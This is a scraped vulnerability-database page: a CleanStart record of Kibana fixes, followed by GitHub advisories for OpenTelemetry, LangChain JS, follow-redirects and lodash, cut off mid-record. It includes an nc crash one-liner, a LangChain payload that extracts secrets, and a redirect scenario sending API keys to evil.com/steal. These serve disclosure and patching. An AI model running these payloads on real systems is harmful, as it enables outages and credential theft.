Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kibana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.2-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.3.2-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...",
"id": "CLEANSTART-2026-JY49884",
"modified": "2026-07-30T09:36:25Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/kibana"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kibana 9.3.2-r3",
"upstream": [
"ghsa-2w6w-674q-4c4q",
"ghsa-xq3m-2v4x-88gg",
"ghsa-pf86-5x62-jrwf",
"ghsa-6chq-wfr3-2hj9",
"ghsa-v9p9-hfj2-hcw8",
"ghsa-f269-vfmq-vjvj",
"ghsa-vrm6-8vpv-qv8q",
"ghsa-jvwf-75h9-cwgg",
"ghsa-75px-5xx7-5xc7",
"ghsa-66ff-xgx4-vchm",
"ghsa-685m-2w69-288q",
"ghsa-5m6q-g25r-mvwx",
"ghsa-ppp5-5v6c-4jwp",
"ghsa-q67f-28xg-22rw",
"ghsa-2328-f5f3-gj25",
"ghsa-r5fr-rjxr-66jc",
"ghsa-wphj-fx3q-84ch",
"ghsa-9c88-49p5-5ggf",
"ghsa-5vv4-hvf7-2h46",
"ghsa-hvx9-hwr7-wjj9",
"ghsa-chqc-8p9q-pq6q",
"ghsa-rpmf-866q-6p89",
"ghsa-rp42-5vxx-qpwr",
"ghsa-6v7q-wjvx-w8wg",
"ghsa-56p5-8mhr-2fph",
"ghsa-4rc3-7j7w-m548",
"ghsa-wmfp-5q7x-987x",
"ghsa-q3j6-qgpj-74h6",
"ghsa-v39h-62p7-jpjc",
"ghsa-8gc5-j5rx-235r",
"ghsa-jp2q-39xq-3w4g",
"ghsa-3644-q5cj-c5c7",
"ghsa-r399-636x-v7f6",
"ghsa-j3q9-mxjg-w52f",
"ghsa-jg4p-7fhp-p32p",
"ghsa-q7rr-3cgh-j5r3",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-3v7f-55p6-f55p",
"ghsa-v2v4-37r5-5v8g",
"ghsa-48c2-rrv3-qjmp",
"ghsa-w5hq-g745-h8pq",
"ghsa-378v-28hj-76wf",
"ghsa-f886-m6hf-6m8v",
"ghsa-vvjj-xcjg-gr5g",
"ghsa-r4q5-vmmm-2653"
]
}
GHSA-Q7RR-3CGH-J5R3
Vulnerability from github – Published: 2026-05-11 14:42 – Updated: 2026-06-08 23:42Summary
A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process.
You are affected by this vulnerability if either of the following apply to your application:
- you directly use
@opentelemetry/exporter-prometheusin your code through its built-in server. - your
OTEL_METRICS_EXPORTERenvironment variable includesprometheusAND - you use
@opentelemetry/sdk-node - you use
@opentelemetry/auto-instrumentations-nodevia--require @opentelemetry/auto-instrumentations-node/register/--import @opentelemetry/auto-instrumentations-node/register
Impact
Denial of service. Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.
Remediation
Update to the fixed version
Update @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to version 0.217.0 or later.
Update @opentelemetry/auto-instrumentations-node to version 0.75.0 or later.
This release adds proper error handling around the URL constructor, returning an HTTP 400 response on parse failure rather than allowing the exception to propagate and crash the process.
npm install @opentelemetry/exporter-prometheus@latest
Do Not Expose the Endpoint to Untrusted Users
[!IMPORTANT] The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that can reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to 0.217.0 is the recommended resolution.
If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:
-
Bind to localhost only by setting the
hostoption to127.0.0.1when configuring thePrometheusExporter, so the port is not exposed on public or shared network interfaces -
Use a firewall or network policy to restrict access to port
9464(or whichever port you have configured) to only trusted Prometheus scrape hosts -
Place the endpoint behind a reverse proxy that filters or validates incoming requests before they reach the exporter
Details
In PrometheusExporter.ts, the _requestHandler calls new URL(request.url, this._baseUrl) without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. http://) for proxy compatibility, including malformed ones. When request.url is "http://", the URL constructor throws TypeError: Invalid URL. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.
The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to 0.0.0.0 by default, meaning it is reachable by any network client that can connect to the metrics port.
Proof of Concept
Start any Node.js application with the Prometheus exporter running on the default port 9464, then send a single raw TCP packet:
echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464
The process crashes immediately with:
TypeError: Invalid URL
at new URL (...)
at PrometheusExporter._requestHandler (...)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@opentelemetry/exporter-prometheus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.217.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@opentelemetry/sdk-node"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.217.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@opentelemetry/auto-instrumentations-node"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.75.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44902"
],
"database_specific": {
"cwe_ids": [
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:42:10Z",
"nvd_published_at": "2026-05-27T15:16:29Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default `0.0.0.0:9464`) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught `TypeError` that terminates the process.\n\n**You are affected by this vulnerability if either of the following apply to your application:**\n\n* you directly use `@opentelemetry/exporter-prometheus` in your code through its built-in server.\n* your `OTEL_METRICS_EXPORTER` environment variable includes `prometheus` **AND**\n * you use `@opentelemetry/sdk-node`\n * you use `@opentelemetry/auto-instrumentations-node` via `--require @opentelemetry/auto-instrumentations-node/register`/`--import @opentelemetry/auto-instrumentations-node/register`\n\n## Impact\n\n**Denial of service.** Any application using the OpenTelemetry Prometheus exporter\u2019s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.\n\n## Remediation\n\n### Update to the fixed version\n\nUpdate `@opentelemetry/exporter-prometheus` and `@opentelemetry/sdk-node` to version **0.217.0** or later. \nUpdate `@opentelemetry/auto-instrumentations-node` to version **0.75.0** or later.\n\nThis release adds proper error handling around the URL constructor, returning an HTTP `400` response on parse failure rather than allowing the exception to propagate and crash the process.\n\n```\nnpm install @opentelemetry/exporter-prometheus@latest\n```\n\n### Do Not Expose the Endpoint to Untrusted Users\n\n\u003e [!IMPORTANT] \n\u003e The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that *can* reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to **0.217.0** is the recommended resolution.\n\nIf updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:\n\n* **Bind to localhost only** by setting the `host` option to `127.0.0.1` when configuring the `PrometheusExporter`, so the port is not exposed on public or shared network interfaces\n\n* **Use a firewall or network policy** to restrict access to port `9464` (or whichever port you have configured) to only trusted Prometheus scrape hosts\n\n* **Place the endpoint behind a reverse proxy** that filters or validates incoming requests before they reach the exporter\n\n## Details\n\nIn `PrometheusExporter.ts`, the `_requestHandler` calls `new URL(request.url, this._baseUrl)` without any error handling. Node\u0027s HTTP parser accepts absolute-form URIs (e.g. `http://`) for proxy compatibility, including malformed ones. When `request.url` is `\"http://\"`, the `URL` constructor throws `TypeError: Invalid URL`. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.\n\nThe Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to `0.0.0.0` by default, meaning it is reachable by any network client that can connect to the metrics port.\n\n## Proof of Concept\n\nStart any Node.js application with the Prometheus exporter running on the default port `9464`, then send a single raw TCP packet:\n\n```\necho -ne \u0027GET http:// HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 9464\n```\n\nThe process crashes immediately with:\n\n```\nTypeError: Invalid URL\n at new URL (...)\n at PrometheusExporter._requestHandler (...)\n```",
"id": "GHSA-q7rr-3cgh-j5r3",
"modified": "2026-06-08T23:42:14Z",
"published": "2026-05-11T14:42:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-js/security/advisories/GHSA-q7rr-3cgh-j5r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44902"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prometheus exporter process crash via malformed HTTP request"
}
GHSA-R399-636X-V7F6
Vulnerability from github – Published: 2025-12-23 20:08 – Updated: 2025-12-24 01:08Context
A serialization injection vulnerability exists in LangChain JS's toJSON() method (and subsequently when string-ifying objects using JSON.stringify(). The method did not escape objects with 'lc' keys when serializing free-form data in kwargs. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.
Attack surface
The core vulnerability was in Serializable.toJSON(): this method failed to escape user-controlled objects containing 'lc' keys within kwargs (e.g., additional_kwargs, metadata, response_metadata). When this unescaped data was later deserialized via load(), the injected structures were treated as legitimate LangChain objects rather than plain user data.
This escaping bug enabled several attack vectors:
- Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like
metadata,additional_kwargs, orresponse_metadata - Secret extraction: Injected secret structures could extract environment variables when
secretsFromEnvwas enabled (which had no explicit default, effectively defaulting totruebehavior) - Class instantiation via import maps: Injected constructor structures could instantiate any class available in the provided import maps with attacker-controlled parameters
Note on import maps: Classes must be explicitly included in import maps to be instantiatable. The core import map includes standard types (messages, prompts, documents), and users can extend this via importMap and optionalImportsMap options. This architecture naturally limits the attack surface—an allowedObjects parameter is not necessary because users control which classes are available through the import maps they provide.
Security hardening: This patch fixes the escaping bug in toJSON() and introduces new restrictive defaults in load(): secretsFromEnv now explicitly defaults to false, and a maxDepth parameter protects against DoS via deeply nested structures. JSDoc security warnings have been added to all import map options.
Who is affected?
Applications are vulnerable if they:
- Serialize untrusted data via
JSON.stringify()on Serializable objects, then deserialize withload()— Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains'lc'key structures. - Deserialize untrusted data with
load()— Directly deserializing untrusted data that may contain injected'lc'structures. - Use LangGraph checkpoints — Checkpoint serialization/deserialization paths may be affected.
The most common attack vector is through LLM response fields like additional_kwargs or response_metadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.
Impact
Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENV_VAR"]} to load environment variables during deserialization (when secretsFromEnv: true). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within the provided import maps with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.
Key severity factors:
- Affects the serialization path—applications trusting their own serialization output are vulnerable
- Enables secret extraction when combined with
secretsFromEnv: true - LLM responses in
additional_kwargscan be controlled via prompt injection
Exploit example
import { load } from "@langchain/core/load";
// Attacker injects secret structure into user-controlled data
const attackerPayload = JSON.stringify({
user_data: {
lc: 1,
type: "secret",
id: ["OPENAI_API_KEY"],
},
});
process.env.OPENAI_API_KEY = "sk-secret-key-12345";
// With secretsFromEnv: true, the secret is extracted
const deserialized = await load(attackerPayload, { secretsFromEnv: true });
console.log(deserialized.user_data); // "sk-secret-key-12345" - SECRET LEAKED!
Security hardening changes
This patch introduces the following changes to load():
secretsFromEnvdefault changed tofalse: Disables automatic secret loading from environment variables. Secrets not found insecretsMapnow throw an error instead of being loaded fromprocess.env. This fail-safe behavior ensures missing secrets are caught immediately rather than silently continuing withnull.- New
maxDepthparameter (defaults to50): Protects against denial-of-service attacks via deeply nested JSON structures that could cause stack overflow. - Escape mechanism in
toJSON(): User-controlled objects containing'lc'keys are now wrapped in{"__lc_escaped__": {...}}during serialization and unwrapped as plain data during deserialization. - JSDoc security warnings: All import map options (
importMap,optionalImportsMap,optionalImportEntrypoints) now include security warnings about never populating them from user input.
Migration guide
No changes needed for most users
If you're deserializing standard LangChain types (messages, documents, prompts) using the core import map, your code will work without changes:
import { load } from "@langchain/core/load";
// Works with default settings
const obj = await load(serializedData);
For secrets from environment
secretsFromEnv now defaults to false, and missing secrets throw an error. If you need to load secrets:
import { load } from "@langchain/core/load";
// Provide secrets explicitly (recommended)
const obj = await load(serializedData, {
secretsMap: { OPENAI_API_KEY: process.env.OPENAI_API_KEY },
});
// Or explicitly opt-in to load from env (only use with trusted data)
const obj = await load(serializedData, { secretsFromEnv: true });
Warning: Only enable
secretsFromEnvif you trust the serialized data. Untrusted data could extract any environment variable.Note: If a secret reference is encountered but not found in
secretsMap(andsecretsFromEnvisfalseor the secret is not in the environment), an error is thrown. This fail-safe behavior ensures you're aware of missing secrets rather than silently receivingnullvalues.
For deeply nested structures
If you have legitimate deeply nested data that exceeds the default depth limit of 50:
import { load } from "@langchain/core/load";
const obj = await load(serializedData, { maxDepth: 100 });
For custom import maps
If you provide custom import maps, ensure they only contain trusted modules:
import { load } from "@langchain/core/load";
import * as myModule from "./my-trusted-module";
// GOOD - explicitly include only trusted modules
const obj = await load(serializedData, {
importMap: { my_module: myModule },
});
// BAD - never populate from user input
const obj = await load(serializedData, {
importMap: userProvidedImports, // DANGEROUS!
});
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@langchain/core"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@langchain/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.80"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68665"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-23T20:08:48Z",
"nvd_published_at": "2025-12-23T23:15:45Z",
"severity": "HIGH"
},
"details": "## Context\n\nA serialization injection vulnerability exists in LangChain JS\u0027s `toJSON()` method (and subsequently when string-ifying objects using `JSON.stringify()`. The method did not escape objects with `\u0027lc\u0027` keys when serializing free-form data in kwargs. The `\u0027lc\u0027` key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.\n\n### Attack surface\n\nThe core vulnerability was in `Serializable.toJSON()`: this method failed to escape user-controlled objects containing `\u0027lc\u0027` keys within kwargs (e.g., `additional_kwargs`, `metadata`, `response_metadata`). When this unescaped data was later deserialized via `load()`, the injected structures were treated as legitimate LangChain objects rather than plain user data.\n\nThis escaping bug enabled several attack vectors:\n\n1. **Injection via user data**: Malicious LangChain object structures could be injected through user-controlled fields like `metadata`, `additional_kwargs`, or `response_metadata`\n2. **Secret extraction**: Injected secret structures could extract environment variables when `secretsFromEnv` was enabled (which had no explicit default, effectively defaulting to `true` behavior)\n3. **Class instantiation via import maps**: Injected constructor structures could instantiate any class available in the provided import maps with attacker-controlled parameters\n\n**Note on import maps:** Classes must be explicitly included in import maps to be instantiatable. The core import map includes standard types (messages, prompts, documents), and users can extend this via `importMap` and `optionalImportsMap` options. This architecture naturally limits the attack surface\u2014an `allowedObjects` parameter is not necessary because users control which classes are available through the import maps they provide.\n\n**Security hardening:** This patch fixes the escaping bug in `toJSON()` and introduces new restrictive defaults in `load()`: `secretsFromEnv` now explicitly defaults to `false`, and a `maxDepth` parameter protects against DoS via deeply nested structures. JSDoc security warnings have been added to all import map options.\n\n## Who is affected?\n\nApplications are vulnerable if they:\n\n1. **Serialize untrusted data via `JSON.stringify()` on Serializable objects, then deserialize with `load()`** \u2014 Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains `\u0027lc\u0027` key structures.\n2. **Deserialize untrusted data with `load()`** \u2014 Directly deserializing untrusted data that may contain injected `\u0027lc\u0027` structures.\n3. **Use LangGraph checkpoints** \u2014 Checkpoint serialization/deserialization paths may be affected.\n\nThe most common attack vector is through **LLM response fields** like `additional_kwargs` or `response_metadata`, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.\n\n## Impact\n\nAttackers who control serialized data can extract environment variable secrets by injecting `{\"lc\": 1, \"type\": \"secret\", \"id\": [\"ENV_VAR\"]}` to load environment variables during deserialization (when `secretsFromEnv: true`). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within the provided import maps with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.\n\nKey severity factors:\n\n- Affects the serialization path\u2014applications trusting their own serialization output are vulnerable\n- Enables secret extraction when combined with `secretsFromEnv: true`\n- LLM responses in `additional_kwargs` can be controlled via prompt injection\n\n## Exploit example\n\n```typescript\nimport { load } from \"@langchain/core/load\";\n\n// Attacker injects secret structure into user-controlled data\nconst attackerPayload = JSON.stringify({\n user_data: {\n lc: 1,\n type: \"secret\",\n id: [\"OPENAI_API_KEY\"],\n },\n});\n\nprocess.env.OPENAI_API_KEY = \"sk-secret-key-12345\";\n\n// With secretsFromEnv: true, the secret is extracted\nconst deserialized = await load(attackerPayload, { secretsFromEnv: true });\n\nconsole.log(deserialized.user_data); // \"sk-secret-key-12345\" - SECRET LEAKED!\n```\n\n## Security hardening changes\n\nThis patch introduces the following changes to `load()`:\n\n1. **`secretsFromEnv` default changed to `false`**: Disables automatic secret loading from environment variables. Secrets not found in `secretsMap` now throw an error instead of being loaded from `process.env`. This fail-safe behavior ensures missing secrets are caught immediately rather than silently continuing with `null`.\n2. **New `maxDepth` parameter** (defaults to `50`): Protects against denial-of-service attacks via deeply nested JSON structures that could cause stack overflow.\n3. **Escape mechanism in `toJSON()`**: User-controlled objects containing `\u0027lc\u0027` keys are now wrapped in `{\"__lc_escaped__\": {...}}` during serialization and unwrapped as plain data during deserialization.\n4. **JSDoc security warnings**: All import map options (`importMap`, `optionalImportsMap`, `optionalImportEntrypoints`) now include security warnings about never populating them from user input.\n\n## Migration guide\n\n### No changes needed for most users\n\nIf you\u0027re deserializing standard LangChain types (messages, documents, prompts) using the core import map, your code will work without changes:\n\n```typescript\nimport { load } from \"@langchain/core/load\";\n\n// Works with default settings\nconst obj = await load(serializedData);\n```\n\n### For secrets from environment\n\n`secretsFromEnv` now defaults to `false`, and missing secrets throw an error. If you need to load secrets:\n\n```typescript\nimport { load } from \"@langchain/core/load\";\n\n// Provide secrets explicitly (recommended)\nconst obj = await load(serializedData, {\n secretsMap: { OPENAI_API_KEY: process.env.OPENAI_API_KEY },\n});\n\n// Or explicitly opt-in to load from env (only use with trusted data)\nconst obj = await load(serializedData, { secretsFromEnv: true });\n```\n\n\u003e **Warning:** Only enable `secretsFromEnv` if you trust the serialized data. Untrusted data could extract any environment variable.\n\n\u003e **Note:** If a secret reference is encountered but not found in `secretsMap` (and `secretsFromEnv` is `false` or the secret is not in the environment), an error is thrown. This fail-safe behavior ensures you\u0027re aware of missing secrets rather than silently receiving `null` values.\n\n### For deeply nested structures\n\nIf you have legitimate deeply nested data that exceeds the default depth limit of 50:\n\n```typescript\nimport { load } from \"@langchain/core/load\";\n\nconst obj = await load(serializedData, { maxDepth: 100 });\n```\n\n### For custom import maps\n\nIf you provide custom import maps, ensure they only contain trusted modules:\n\n```typescript\nimport { load } from \"@langchain/core/load\";\nimport * as myModule from \"./my-trusted-module\";\n\n// GOOD - explicitly include only trusted modules\nconst obj = await load(serializedData, {\n importMap: { my_module: myModule },\n});\n\n// BAD - never populate from user input\nconst obj = await load(serializedData, {\n importMap: userProvidedImports, // DANGEROUS!\n});\n```",
"id": "GHSA-r399-636x-v7f6",
"modified": "2025-12-24T01:08:11Z",
"published": "2025-12-23T20:08:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-r399-636x-v7f6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68665"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchainjs/commit/e5063f9c6e9989ea067dfdff39262b9e7b6aba62"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchainjs"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchainjs/releases/tag/%40langchain%2Fcore%401.1.8"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchainjs/releases/tag/langchain%401.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangChain serialization injection vulnerability enables secret extraction"
}
GHSA-R4Q5-VMMM-2653
Vulnerability from github – Published: 2026-04-14 01:11 – Updated: 2026-04-14 01:11Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.11"
},
"package": {
"ecosystem": "npm",
"name": "follow-redirects"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T01:11:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n redirectUrl.protocol !== \"https:\" ||\n redirectUrl.host !== currentHost \u0026\u0026\n !isSubdomain(redirectUrl.host, currentHost)) {\n removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
"id": "GHSA-r4q5-vmmm-2653",
"modified": "2026-04-14T01:11:11Z",
"published": "2026-04-14T01:11:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/follow-redirects/follow-redirects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}
GHSA-R5FR-RJXR-66JC
Vulnerability from github – Published: 2026-04-01 23:51 – Updated: 2026-04-01 23:51Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches
Users should upgrade to version 4.18.0.
The fix applies two changes:
1. Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option)
2. Replace assignInWith with assignWith when merging imports, so only own properties are enumerated
Workarounds
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.template"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4800"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:51:12Z",
"nvd_published_at": "2026-03-31T20:16:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.\n\nWhen an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.\n\n### Patches\n\nUsers should upgrade to version 4.18.0.\n\nThe fix applies two changes:\n1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)\n2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated\n\n### Workarounds\n\nDo not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.",
"id": "GHSA-r5fr-rjxr-66jc",
"modified": "2026-04-01T23:51:12Z",
"published": "2026-04-01T23:51:12Z",
"references": [
{
"type": "WEB",
